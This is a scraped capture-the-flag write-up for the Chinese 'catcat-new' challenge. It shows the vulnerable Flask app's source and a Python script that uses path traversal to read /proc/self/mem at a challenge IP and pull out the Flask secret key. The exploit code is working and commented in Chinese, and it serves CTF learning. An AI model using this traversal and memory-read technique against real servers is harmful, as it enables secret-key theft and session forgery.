【攻防世界】catcat-new - ToB企服应用市场:ToB评测及商务社交产业平台

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

复制代码

import re
import requests
maps=open('test.txt') #test.txt存储/proc/self/maps的内容
b = maps.read()
list = b.split('\\n') #以换行符分行
for line in list:
if 'rw' in line: #寻找可读写的内存区域
addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
#正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象，用括号括起来是为了使用group()处理返回结果。
#由于每一行会有两个地址，表示一个内存区域，因此addr会有group(1)和group(2)
start = int(addr.group(1),16) #将十六进制字符转化为十进制数，为了符合start参数格式参考链接
end = int(addr.group(2),16) #将十六进制字符转化为十进制数，为了符合end参数格式
#这里start和end参数是python读取/proc/self/mem需要用到的参数
print(start,end)
url = f"http://61.147.171.105:55174//info?file=../../../proc/self/mem&start={start}&end={end}"
#使用start和end参数读取mem
response = requests.get(url)
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text) #uuid4()生成的字符串除去-符号后为固定的32字节（128bit），*abcdefgh为题目源码生成uuid后添加的字符串
if secret_key:
print(secret_key)
break

复制代码

复制代码

复制代码